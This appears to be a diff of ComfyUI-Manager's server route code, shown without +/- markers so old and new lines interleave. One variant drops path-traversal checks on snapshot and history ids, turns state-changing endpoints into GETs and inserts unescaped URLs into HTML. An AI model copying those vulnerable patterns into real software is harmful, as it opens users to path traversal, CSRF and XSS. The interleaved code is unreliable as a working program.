||||
remote_name = get_remote_name(repo)
|
||||
repo.remotes[remote_name].fetch()
|
||||
remote = get_remote_name(repo)
|
||||
repo.remotes[remote].fetch()
|
||||
except Exception:
|
||||
logging.error("[ComfyUI-Manager] Failed to fetch ComfyUI")
|
||||
|
||||
def parse_semver(tag_name):
|
||||
match = re.match(r'^v(\d+)\.(\d+)\.(\d+)$', tag_name)
|
||||
return tuple(int(x) for x in match.groups()) if match else None
|
||||
versions = [x.name for x in repo.tags if x.name.startswith('v')]
|
||||
|
||||
def normalize_describe(tag_name):
|
||||
if not tag_name:
|
||||
return None
|
||||
base = tag_name.split('-', 1)[0]
|
||||
return base if parse_semver(base) else None
|
||||
# nearest tag
|
||||
versions = sorted(versions, key=lambda v: repo.git.log('-1', '--format=%ct', v), reverse=True)
|
||||
versions = versions[:4]
|
||||
|
||||
# Collect semver tags and sort descending (highest first)
|
||||
semver_tags = []
|
||||
for tag in repo.tags:
|
||||
semver = parse_semver(tag.name)
|
||||
if semver:
|
||||
semver_tags.append((semver, tag.name))
|
||||
semver_tags.sort(key=lambda x: x[0], reverse=True)
|
||||
semver_tags = [name for _, name in semver_tags]
|
||||
current_tag = repo.git.describe('--tags')
|
||||
|
||||
latest_tag = semver_tags[0] if semver_tags else None
|
||||
if current_tag not in versions:
|
||||
versions = sorted(versions + [current_tag], key=lambda v: repo.git.log('-1', '--format=%ct', v), reverse=True)
|
||||
versions = versions[:4]
|
||||
|
||||
try:
|
||||
described = repo.git.describe('--tags')
|
||||
except Exception:
|
||||
described = ''
|
||||
main_branch = repo.heads.master
|
||||
latest_commit = main_branch.commit
|
||||
latest_tag = repo.git.describe('--tags', latest_commit.hexsha)
|
||||
|
||||
try:
|
||||
exact_tag = repo.git.describe('--tags', '--exact-match')
|
||||
except Exception:
|
||||
exact_tag = ''
|
||||
|
||||
head_is_default = False
|
||||
if remote_name:
|
||||
try:
|
||||
default_head_ref = repo.refs[f'{remote_name}/HEAD']
|
||||
default_commit = default_head_ref.reference.commit
|
||||
head_is_default = repo.head.commit == default_commit
|
||||
except Exception:
|
||||
# Fallback: compare directly with master branch
|
||||
try:
|
||||
if 'master' in [h.name for h in repo.heads]:
|
||||
head_is_default = repo.head.commit == repo.heads.master.commit
|
||||
except Exception:
|
||||
head_is_default = False
|
||||
|
||||
nearest_semver = normalize_describe(described)
|
||||
exact_semver = exact_tag if parse_semver(exact_tag) else None
|
||||
|
||||
if head_is_default and not exact_tag:
|
||||
current_tag = 'nightly'
|
||||
if latest_tag != versions[0]:
|
||||
versions.insert(0, 'nightly')
|
||||
else:
|
||||
current_tag = exact_tag or described or 'nightly'
|
||||
|
||||
# Prepare semver list for display: top 4 plus the current/nearest semver if missing
|
||||
display_semver_tags = semver_tags[:4]
|
||||
if exact_semver and exact_semver not in display_semver_tags:
|
||||
display_semver_tags.append(exact_semver)
|
||||
elif nearest_semver and nearest_semver not in display_semver_tags:
|
||||
display_semver_tags.append(nearest_semver)
|
||||
|
||||
versions = ['nightly']
|
||||
|
||||
if current_tag and not exact_semver and current_tag not in versions and current_tag not in display_semver_tags:
|
||||
versions.append(current_tag)
|
||||
|
||||
for tag in display_semver_tags:
|
||||
if tag not in versions:
|
||||
versions.append(tag)
|
||||
|
||||
versions = versions[:6]
|
||||
versions[0] = 'nightly'
|
||||
current_tag = 'nightly'
|
||||
|
||||
return versions, current_tag, latest_tag
|
||||
|
||||
|
||||
@@ -19,7 +19,6 @@ import asyncio
|
||||
from collections import deque
|
||||
|
||||
from . import manager_core as core
|
||||
from . import html_utils
|
||||
from ..common import manager_util
|
||||
from ..common import cm_global
|
||||
from ..common import manager_downloader
|
||||
@@ -38,15 +37,11 @@ logging.info("[ComfyUI-Manager] network_mode: " + network_mode_description)
|
||||
comfy_ui_hash = "-"
|
||||
comfyui_tag = None
|
||||
|
||||
from ..common.security_messages import (
|
||||
SECURITY_MESSAGE_MIDDLE,
|
||||
SECURITY_MESSAGE_MIDDLE_P,
|
||||
SECURITY_MESSAGE_HIGH_P,
|
||||
SECURITY_MESSAGE_GENERAL,
|
||||
SECURITY_MESSAGE_NORMAL_MINUS_MODEL,
|
||||
)
|
||||
SECURITY_MESSAGE_FLAG_GIT_URL = "ERROR: This action requires BOTH: (1) 'allow_git_url_install = true' in config.ini ([default] section), AND (2) a network position the Manager treats as private - either ComfyUI launched with a loopback '--listen' (any 127.x.x.x address, or ::1), OR 'network_mode = personal_cloud' in config.ini. Currently listening on {listen} with network_mode = {network_mode}. Both values are read once at ComfyUI startup, so changing either one needs a restart, done with the server down: STOP ComfyUI, change the setting, then start it again. Both are independent of security_level. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_FLAG_PIP = "ERROR: This action requires BOTH: (1) 'allow_pip_install = true' in config.ini ([default] section), AND (2) a network position the Manager treats as private - either ComfyUI launched with a loopback '--listen' (any 127.x.x.x address, or ::1), OR 'network_mode = personal_cloud' in config.ini. Currently listening on {listen} with network_mode = {network_mode}. Both values are read once at ComfyUI startup, so changing either one needs a restart, done with the server down: STOP ComfyUI, change the setting, then start it again. Both are independent of security_level. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_MIDDLE = "ERROR: To use this action, a security_level of `normal or below` is required. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_MIDDLE_P = "ERROR: To use this action, security_level must be `normal or below`, and network_mode must be set to `personal_cloud`. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_NORMAL_MINUS = "ERROR: To use this feature, you must either set '--listen' to a local IP and set the security level to 'normal-' or lower, or set the security level to 'middle' or 'weak'. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_GENERAL = "ERROR: This installation is not allowed in this security_level. Please contact the administrator.\nReference: https://github.com/Comfy-Org/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_NORMAL_MINUS_MODEL = "ERROR: Downloading models that are not in '.safetensors' format is only allowed for models registered in the 'default' channel at this security level. If you want to download this model, set the security level to 'normal-' or lower."
|
||||
|
||||
routes = PromptServer.instance.routes
|
||||
|
||||
@@ -66,6 +61,7 @@ def handle_stream(stream, prefix):
|
||||
|
||||
|
||||
from comfy.cli_args import args
|
||||
import latent_preview
|
||||
|
||||
def is_loopback(address):
|
||||
import ipaddress
|
||||
@@ -126,18 +122,6 @@ def is_allowed_security_level(level):
|
||||
return True
|
||||
|
||||
|
||||
def _dedicated_install_allowed(flag_key: str) -> bool:
|
||||
"""goal265: P-direct gate for the dedicated install flags (spec §1.2).
|
||||
|
||||
allowed iff config[flag_key] AND (loopback listener OR
|
||||
network_mode == 'personal_cloud') — fully decoupled from security_level.
|
||||
Resolves config through the LEGACY reader and delegates the pure
|
||||
predicate to common/manager_security (which stays config-import-free).
|
||||
"""
|
||||
return manager_security.is_dedicated_install_allowed(
|
||||
core.get_config()[flag_key], args.listen, core.get_config()['network_mode'])
|
||||
|
||||
|
||||
async def get_risky_level(files, pip_packages):
|
||||
json_data1 = await core.get_data_by_mode('local', 'custom-node-list.json')
|
||||
json_data2 = await core.get_data_by_mode('cache', 'custom-node-list.json', channel_url='https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main')
|
||||
@@ -162,8 +146,15 @@ async def get_risky_level(files, pip_packages):
|
||||
|
||||
|
||||
class ManagerFuncsInComfyUI(core.ManagerFuncs):
|
||||
def is_flagged_install_allowed(self):
|
||||
return core.get_config()['allow_flagged_nodepack_install'] or manager_security.is_loopback_listener(args.listen)
|
||||
def get_current_preview_method(self):
|
||||
if args.preview_method == latent_preview.LatentPreviewMethod.Auto:
|
||||
return "auto"
|
||||
elif args.preview_method == latent_preview.LatentPreviewMethod.Latent2RGB:
|
||||
return "latent2rgb"
|
||||
elif args.preview_method == latent_preview.LatentPreviewMethod.TAESD:
|
||||
return "taesd"
|
||||
else:
|
||||
return "none"
|
||||
|
||||
def run_script(self, cmd, cwd='.'):
|
||||
if len(cmd) > 0 and cmd[0].startswith("#"):
|
||||
@@ -197,6 +188,25 @@ local_db_custom_node_list = os.path.join(manager_util.comfyui_manager_path, "cus
|
||||
local_db_extension_node_mappings = os.path.join(manager_util.comfyui_manager_path, "extension-node-map.json")
|
||||
|
||||
|
||||
def set_preview_method(method):
|
||||
if method == 'auto':
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.Auto
|
||||
elif method == 'latent2rgb':
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.Latent2RGB
|
||||
elif method == 'taesd':
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.TAESD
|
||||
else:
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.NoPreviews
|
||||
|
||||
core.get_config()['preview_method'] = method
|
||||
|
||||
|
||||
set_preview_method(core.get_config()['preview_method'])
|
||||
|
||||
|
||||
def set_component_policy(mode):
|
||||
core.get_config()['component_policy'] = mode
|
||||
|
||||
def set_update_policy(mode):
|
||||
core.get_config()['update_policy'] = mode
|
||||
|
||||
@@ -264,6 +274,7 @@ print_comfyui_version()
|
||||
core.check_invalid_nodes()
|
||||
|
||||
|
||||
|
||||
def setup_environment():
|
||||
git_exe = core.get_config()['git_exe']
|
||||
|
||||
@@ -471,7 +482,7 @@ async def task_worker():
|
||||
|
||||
await core.unified_manager.reload('cache')
|
||||
|
||||
async def do_install(item, operation) -> str:
|
||||
async def do_install(item) -> str:
|
||||
ui_id, node_spec_str, channel, mode, skip_post_install = item
|
||||
|
||||
try:
|
||||
@@ -481,15 +492,7 @@ async def task_worker():
|
||||
return f"Cannot resolve install target: '{node_spec_str}'"
|
||||
|
||||
node_name, version_spec, is_specified = node_spec
|
||||
# Check the resolved target, including requests with misleading metadata.
|
||||
level = 'middle+' if version_spec in ('nightly', 'unknown') else 'middle'
|
||||
if not is_allowed_security_level(level):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE_P if level == 'middle+' else SECURITY_MESSAGE_MIDDLE)
|
||||
return 'Installation blocked by security policy'
|
||||
if operation == 'reinstall':
|
||||
res = await core.unified_manager.reinstall_by_id(node_name, version_spec, channel, mode)
|
||||
else:
|
||||
res = await core.unified_manager.install_by_id(node_name, version_spec, channel, mode, return_postinstall=skip_post_install)
|
||||
res = await core.unified_manager.install_by_id(node_name, version_spec, channel, mode, return_postinstall=skip_post_install) # discard post install if skip_post_install mode
|
||||
|
||||
if res.action not in ['skip', 'enable', 'install-git', 'install-cnr', 'switch-cnr']:
|
||||
logging.error(f"[ComfyUI-Manager] Installation failed:\n{res.msg}")
|
||||
@@ -516,12 +519,8 @@ async def task_worker():
|
||||
res = core.unified_manager.unified_update(node_name, node_ver)
|
||||
|
||||
if res.ver == 'unknown':
|
||||
# unknown_active_nodes[node_id] = (url, fullpath) — url can be
|
||||
# None when git_utils.git_url() in manager_core can't determine
|
||||
# the remote URL. Downstream branches at L504/507 already
|
||||
# handle url is None, so we just need a None-safe title.
|
||||
url = core.unified_manager.unknown_active_nodes[node_name][0]
|
||||
title = os.path.basename(url) if url else node_name
|
||||
title = os.path.basename(url)
|
||||
else:
|
||||
url = core.unified_manager.cnr_map[node_name].get('repository')
|
||||
title = core.unified_manager.cnr_map[node_name]['name']
|
||||
@@ -541,7 +540,7 @@ async def task_worker():
|
||||
base_res['msg'] = 'success'
|
||||
return base_res
|
||||
|
||||
base_res['msg'] = res.msg or f"An error occurred while updating '{node_name}'."
|
||||
base_res['msg'] = f"An error occurred while updating '{node_name}'."
|
||||
logging.error(f"\nERROR: An error occurred while updating '{node_name}'. (res.result={res.result}, res.action={res.action})")
|
||||
return base_res
|
||||
except Exception:
|
||||
@@ -562,8 +561,6 @@ async def task_worker():
|
||||
logging.error("ComfyUI update failed")
|
||||
return "fail"
|
||||
elif res == "updated":
|
||||
core.install_manager_requirements(repo_path)
|
||||
|
||||
if is_stable:
|
||||
logging.info("ComfyUI is updated to latest stable version.")
|
||||
return "success-stable-"+latest_tag
|
||||
@@ -580,14 +577,6 @@ async def task_worker():
|
||||
return "An error occurred while updating 'comfyui'."
|
||||
|
||||
async def do_fix(item) -> str:
|
||||
# Align check level with SECURITY_MESSAGE_HIGH_P (which names "high+"),
|
||||
# matching the parallel update in comfyui_manager/glob/manager_server.py
|
||||
# do_fix. Prior combo of `'high' + HIGH_P` logged a stricter-sounding
|
||||
# message than the gate actually enforced.
|
||||
if not is_allowed_security_level('high+'):
|
||||
logging.error(SECURITY_MESSAGE_HIGH_P)
|
||||
return 'failed'
|
||||
|
||||
ui_id, node_name, node_ver = item
|
||||
|
||||
try:
|
||||
@@ -716,8 +705,8 @@ async def task_worker():
|
||||
tasks_in_progress.add((kind, item[0]))
|
||||
|
||||
try:
|
||||
if kind in ('install', 'reinstall'):
|
||||
msg = await do_install(item, kind)
|
||||
if kind == 'install':
|
||||
msg = await do_install(item)
|
||||
elif kind == 'enable':
|
||||
msg = await do_enable(item)
|
||||
elif kind == 'install-model':
|
||||
@@ -781,9 +770,19 @@ async def queue_batch(request):
|
||||
if k == 'update_all':
|
||||
await _update_all({'mode': v})
|
||||
|
||||
elif k in ('install', 'reinstall'):
|
||||
elif k == 'reinstall':
|
||||
for x in v:
|
||||
res = await _queue_node_install(x, k)
|
||||
res = await _uninstall_custom_node(x)
|
||||
if res.status != 200:
|
||||
failed.add(x['id'])
|
||||
else:
|
||||
res = await _install_custom_node(x)
|
||||
if res.status != 200:
|
||||
failed.add(x['id'])
|
||||
|
||||
elif k == 'install':
|
||||
for x in v:
|
||||
res = await _install_custom_node(x)
|
||||
if res.status != 200:
|
||||
failed.add(x['id'])
|
||||
|
||||
@@ -843,13 +842,8 @@ async def get_history_list(request):
|
||||
@routes.get("/v2/manager/queue/history")
|
||||
async def get_history(request):
|
||||
try:
|
||||
history_id = request.rel_url.query["id"]
|
||||
|
||||
# Prevent path traversal attacks
|
||||
batch_path = manager_security.get_safe_file_path(history_id, context.manager_batch_history_path)
|
||||
if batch_path is None:
|
||||
logging.warning(f"[Security] Invalid history id rejected: {history_id}")
|
||||
return web.Response(text="Invalid history id", status=400)
|
||||
json_name = request.rel_url.query["id"]+'.json'
|
||||
batch_path = os.path.join(context.manager_batch_history_path, json_name)
|
||||
|
||||
with open(batch_path, 'r', encoding='utf-8') as file:
|
||||
json_str = file.read()
|
||||
@@ -925,11 +919,8 @@ async def fetch_updates(request):
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/queue/update_all")
|
||||
@routes.get("/v2/manager/queue/update_all")
|
||||
async def update_all(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
json_data = dict(request.rel_url.query)
|
||||
return await _update_all(json_data)
|
||||
|
||||
@@ -976,22 +967,14 @@ async def _update_all(json_data):
|
||||
|
||||
|
||||
def convert_markdown_to_html(input_text):
|
||||
"""Parse source markdown, escaping text and URLs at their HTML boundaries."""
|
||||
pattern_a = re.compile(r'\[a/([^]]+)]\(([^)]+)\)')
|
||||
pattern_w = re.compile(r'\[w/([^]]+)]')
|
||||
pattern_i = re.compile(r'\[i/([^]]+)]')
|
||||
pattern_bold = re.compile(r'\*\*([^*]+)\*\*')
|
||||
pattern_white = re.compile(r'%%([^*]+)%%')
|
||||
|
||||
# Format link labels separately from URLs; escape URLs when inserted.
|
||||
hrefs = []
|
||||
|
||||
def replace_a(match):
|
||||
# Entities written in the source URL (e.g. &) retain their meaning.
|
||||
url = html_utils.unescape_html_entities(match.group(2))
|
||||
hrefs.append(html_utils.sanitize_url(url))
|
||||
text = html_utils.escape_html_text(match.group(1))
|
||||
return f"<a href='\x00H{len(hrefs) - 1}\x00' target='_blank' rel='noopener noreferrer'>{text}</a>"
|
||||
return f"<a href='{match.group(2)}' target='blank'>{match.group(1)}</a>"
|
||||
|
||||
def replace_w(match):
|
||||
return f"<p class='cm-warn-note'>{match.group(1)}</p>"
|
||||
@@ -1005,35 +988,20 @@ def convert_markdown_to_html(input_text):
|
||||
def replace_white(match):
|
||||
return f"<font color='white'>{match.group(1)}</font>"
|
||||
|
||||
# NUL dropped first so the input cannot forge the href placeholders.
|
||||
input_text = input_text.replace('\x00', '')
|
||||
input_text = input_text.replace('\\[', '[').replace('\\]', ']')
|
||||
input_text = input_text.replace('\\[', '[').replace('\\]', ']').replace('<', '<').replace('>', '>')
|
||||
|
||||
# Parse links before escaping prose, so generated text entities never enter URLs.
|
||||
parts = []
|
||||
start = 0
|
||||
for match in pattern_a.finditer(input_text):
|
||||
parts.append(manager_util.sanitize_tag(input_text[start:match.start()]))
|
||||
parts.append(replace_a(match))
|
||||
start = match.end()
|
||||
parts.append(manager_util.sanitize_tag(input_text[start:]))
|
||||
result_text = ''.join(parts)
|
||||
result_text = re.sub(pattern_a, replace_a, input_text)
|
||||
result_text = re.sub(pattern_w, replace_w, result_text)
|
||||
result_text = re.sub(pattern_i, replace_i, result_text)
|
||||
result_text = re.sub(pattern_bold, replace_bold, result_text)
|
||||
result_text = re.sub(pattern_white, replace_white, result_text)
|
||||
result_text = result_text.replace("\n", "<BR>")
|
||||
|
||||
return re.sub(
|
||||
r'\x00H(\d+)\x00',
|
||||
lambda m: html_utils.escape_html_attribute(hrefs[int(m.group(1))]),
|
||||
result_text,
|
||||
)
|
||||
return result_text.replace("\n", "<BR>")
|
||||
|
||||
|
||||
def populate_markdown(x):
|
||||
if 'description' in x:
|
||||
x['description'] = convert_markdown_to_html(x['description'])
|
||||
x['description'] = convert_markdown_to_html(manager_util.sanitize_tag(x['description']))
|
||||
|
||||
if 'name' in x:
|
||||
x['name'] = manager_util.sanitize_tag(x['name'])
|
||||
@@ -1104,15 +1072,12 @@ async def fetch_customnode_list(request):
|
||||
if channel != 'local':
|
||||
found = 'custom'
|
||||
|
||||
if channel == core.DEFAULT_CHANNEL or channel == core.DEFAULT_CHANNEL_LEGACY:
|
||||
channel = 'default'
|
||||
else:
|
||||
for name, url in core.get_channel_dict().items():
|
||||
if url == channel:
|
||||
found = name
|
||||
break
|
||||
for name, url in core.get_channel_dict().items():
|
||||
if url == channel:
|
||||
found = name
|
||||
break
|
||||
|
||||
channel = found
|
||||
channel = found
|
||||
|
||||
result = dict(channel=channel, node_packs=node_packs.to_dict())
|
||||
|
||||
@@ -1210,11 +1175,8 @@ async def get_snapshot_list(request):
|
||||
return web.json_response({'items': items}, content_type='application/json')
|
||||
|
||||
|
||||
@routes.post("/v2/snapshot/remove")
|
||||
@routes.get("/v2/snapshot/remove")
|
||||
async def remove_snapshot(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
@@ -1222,12 +1184,7 @@ async def remove_snapshot(request):
|
||||
try:
|
||||
target = request.rel_url.query["target"]
|
||||
|
||||
# Prevent path traversal attacks
|
||||
path = manager_security.get_safe_file_path(target, context.manager_snapshot_path)
|
||||
if path is None:
|
||||
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
|
||||
return web.Response(text="Invalid target", status=400)
|
||||
|
||||
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
|
||||
if os.path.exists(path):
|
||||
os.remove(path)
|
||||
|
||||
@@ -1236,11 +1193,8 @@ async def remove_snapshot(request):
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.post("/v2/snapshot/restore")
|
||||
@routes.get("/v2/snapshot/restore")
|
||||
async def restore_snapshot(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
if not is_allowed_security_level('middle+'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE_P)
|
||||
return web.Response(status=403)
|
||||
@@ -1248,12 +1202,7 @@ async def restore_snapshot(request):
|
||||
try:
|
||||
target = request.rel_url.query["target"]
|
||||
|
||||
# Prevent path traversal attacks
|
||||
path = manager_security.get_safe_file_path(target, context.manager_snapshot_path)
|
||||
if path is None:
|
||||
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
|
||||
return web.Response(text="Invalid target", status=400)
|
||||
|
||||
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
|
||||
if os.path.exists(path):
|
||||
if not os.path.exists(context.manager_startup_script_path):
|
||||
os.makedirs(context.manager_startup_script_path)
|
||||
@@ -1278,11 +1227,8 @@ async def get_current_snapshot_api(request):
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.post("/v2/snapshot/save")
|
||||
@routes.get("/v2/snapshot/save")
|
||||
async def save_snapshot(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
try:
|
||||
await core.save_snapshot_with_postfix('snapshot')
|
||||
return web.Response(status=200)
|
||||
@@ -1421,11 +1367,14 @@ async def import_fail_info_bulk(request):
|
||||
return web.Response(status=500, text="Internal server error")
|
||||
|
||||
|
||||
@routes.post("/v2/manager/queue/reset")
|
||||
@routes.post("/v2/manager/queue/reinstall")
|
||||
async def reinstall_custom_node(request):
|
||||
await uninstall_custom_node(request)
|
||||
await install_custom_node(request)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/queue/reset")
|
||||
async def reset_queue(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
global task_batch_queue
|
||||
global temp_queue_batch
|
||||
|
||||
@@ -1436,6 +1385,20 @@ async def reset_queue(request):
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/queue/abort_current")
|
||||
async def abort_queue(request):
|
||||
global task_batch_queue
|
||||
global temp_queue_batch
|
||||
|
||||
with task_worker_lock:
|
||||
temp_queue_batch = []
|
||||
if len(task_batch_queue) > 0:
|
||||
task_batch_queue[0].abort()
|
||||
task_batch_queue.popleft()
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/queue/status")
|
||||
async def queue_count(request):
|
||||
global task_queue
|
||||
@@ -1460,15 +1423,22 @@ async def queue_count(request):
|
||||
'is_processing': is_processing})
|
||||
|
||||
|
||||
async def _queue_node_install(json_data, operation):
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
@routes.post("/v2/manager/queue/install")
|
||||
async def install_custom_node(request):
|
||||
json_data = await request.json()
|
||||
print(f"install={json_data}")
|
||||
return await _install_custom_node(json_data)
|
||||
|
||||
|
||||
async def _install_custom_node(json_data):
|
||||
if not is_allowed_security_level('middle+'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE_P)
|
||||
return web.Response(status=403, text="A security error has occurred. Please check the terminal logs")
|
||||
|
||||
# CNR versions are checked for flagged status by the install worker.
|
||||
# non-nightly cnr is safe
|
||||
risky_level = None
|
||||
cnr_id = json_data.get('id')
|
||||
skip_post_install = False if operation == 'reinstall' else json_data.get('skip_post_install')
|
||||
skip_post_install = json_data.get('skip_post_install')
|
||||
|
||||
git_url = None
|
||||
|
||||
@@ -1510,33 +1480,20 @@ async def _queue_node_install(json_data, operation):
|
||||
else:
|
||||
return web.Response(status=404, text=f"Following node pack doesn't provide `nightly` version: ${git_url}")
|
||||
|
||||
if risky_level != 'low' and not is_allowed_security_level('middle+'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE_P)
|
||||
return web.Response(status=403, text="A security error has occurred. Please check the terminal logs")
|
||||
|
||||
# Unknown Git installs also require the dedicated flag; preserve the 404 response.
|
||||
if risky_level == 'high+':
|
||||
if not _dedicated_install_allowed('allow_git_url_install'):
|
||||
logging.error(SECURITY_MESSAGE_FLAG_GIT_URL.format(
|
||||
listen=args.listen, network_mode=core.get_config()['network_mode']))
|
||||
return web.Response(status=404, text="A security error has occurred. Please check the terminal logs")
|
||||
elif not is_allowed_security_level(risky_level):
|
||||
if not is_allowed_security_level(risky_level):
|
||||
logging.error(SECURITY_MESSAGE_GENERAL)
|
||||
return web.Response(status=404, text="A security error has occurred. Please check the terminal logs")
|
||||
|
||||
install_item = json_data.get('ui_id'), node_spec_str, json_data['channel'], json_data['mode'], skip_post_install
|
||||
temp_queue_batch.append((operation, install_item))
|
||||
temp_queue_batch.append(("install", install_item))
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
task_worker_thread:threading.Thread = None
|
||||
|
||||
@routes.post("/v2/manager/queue/start")
|
||||
@routes.get("/v2/manager/queue/start")
|
||||
async def queue_start(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
with task_worker_lock:
|
||||
finalize_temp_queue_batch()
|
||||
return _queue_start()
|
||||
@@ -1553,6 +1510,12 @@ def _queue_start():
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/queue/fix")
|
||||
async def fix_custom_node(request):
|
||||
json_data = await request.json()
|
||||
return await _fix_custom_node(json_data)
|
||||
|
||||
|
||||
async def _fix_custom_node(json_data):
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_GENERAL)
|
||||
@@ -1574,12 +1537,9 @@ async def _fix_custom_node(json_data):
|
||||
|
||||
@routes.post("/v2/customnode/install/git_url")
|
||||
async def install_custom_node_git_url(request):
|
||||
# goal265 S-A: dedicated-flag gate, decoupled from security_level (spec §1.2).
|
||||
if not _dedicated_install_allowed('allow_git_url_install'):
|
||||
logging.error(SECURITY_MESSAGE_FLAG_GIT_URL.format(
|
||||
listen=args.listen, network_mode=core.get_config()['network_mode']))
|
||||
# Only the flag name goes on the wire; the full message is logged above.
|
||||
return web.json_response({'reason': 'allow_git_url_install'}, status=403)
|
||||
if not is_allowed_security_level('high+'):
|
||||
logging.error(SECURITY_MESSAGE_NORMAL_MINUS)
|
||||
return web.Response(status=403)
|
||||
|
||||
url = await request.text()
|
||||
res = await core.gitclone_install(url)
|
||||
@@ -1597,12 +1557,9 @@ async def install_custom_node_git_url(request):
|
||||
|
||||
@routes.post("/v2/customnode/install/pip")
|
||||
async def install_custom_node_pip(request):
|
||||
# goal265 S-B: dedicated-flag gate, decoupled from security_level (spec §1.2).
|
||||
if not _dedicated_install_allowed('allow_pip_install'):
|
||||
logging.error(SECURITY_MESSAGE_FLAG_PIP.format(
|
||||
listen=args.listen, network_mode=core.get_config()['network_mode']))
|
||||
# Only the flag name goes on the wire; the full message is logged above.
|
||||
return web.json_response({'reason': 'allow_pip_install'}, status=403)
|
||||
if not is_allowed_security_level('high+'):
|
||||
logging.error(SECURITY_MESSAGE_NORMAL_MINUS)
|
||||
return web.Response(status=403)
|
||||
|
||||
packages = await request.text()
|
||||
core.pip_install(packages.split(' '))
|
||||
@@ -1610,6 +1567,12 @@ async def install_custom_node_pip(request):
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/queue/uninstall")
|
||||
async def uninstall_custom_node(request):
|
||||
json_data = await request.json()
|
||||
return await _uninstall_custom_node(json_data)
|
||||
|
||||
|
||||
async def _uninstall_custom_node(json_data):
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
@@ -1630,6 +1593,12 @@ async def _uninstall_custom_node(json_data):
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/queue/update")
|
||||
async def update_custom_node(request):
|
||||
json_data = await request.json()
|
||||
return await _update_custom_node(json_data)
|
||||
|
||||
|
||||
async def _update_custom_node(json_data):
|
||||
if not is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
@@ -1648,11 +1617,8 @@ async def _update_custom_node(json_data):
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
@routes.post("/v2/manager/queue/update_comfyui")
|
||||
@routes.get("/v2/manager/queue/update_comfyui")
|
||||
async def update_comfyui(request):
|
||||
rejection = manager_security.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
is_stable = core.get_config()['update_policy'] != 'nightly-comfyui'
|
||||
temp_queue_batch.append(("update-comfyui", ('comfyui', is_stable)))
|
||||
return web.Response(status=200)
|
||||
@@ -1669,28 +1635,24 @@ async def comfyui_versions(request):
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.post("/v2/comfyui_manager/comfyui_switch_version")
|
||||
@routes.get("/v2/comfyui_manager/comfyui_switch_version")
|
||||
async def comfyui_switch_version(request):
|
||||
# Body-reading handler — Content-Type gate omitted per
|
||||
# comfyui_manager/common/manager_security.py module policy: a cross-origin
|
||||
# <form method=POST> cannot forge a valid application/json body because
|
||||
# the browser would trigger a CORS preflight that this server refuses.
|
||||
if not is_allowed_security_level('high+'):
|
||||
logging.error(SECURITY_MESSAGE_HIGH_P)
|
||||
return web.Response(status=403)
|
||||
|
||||
try:
|
||||
data = await request.json()
|
||||
ver = data.get('ver')
|
||||
if not ver:
|
||||
return web.Response(status=400, text="missing 'ver' field")
|
||||
core.switch_comfyui(ver)
|
||||
if "ver" in request.rel_url.query:
|
||||
core.switch_comfyui(request.rel_url.query['ver'])
|
||||
|
||||
return web.Response(status=200)
|
||||
except json.JSONDecodeError:
|
||||
return web.Response(status=400, text="Invalid JSON body")
|
||||
except Exception as e:
|
||||
logging.error(f"ComfyUI update fail: {e}", file=sys.stderr)
|
||||
return web.Response(status=400)
|
||||
|
||||
return web.Response(status=400)
|
||||
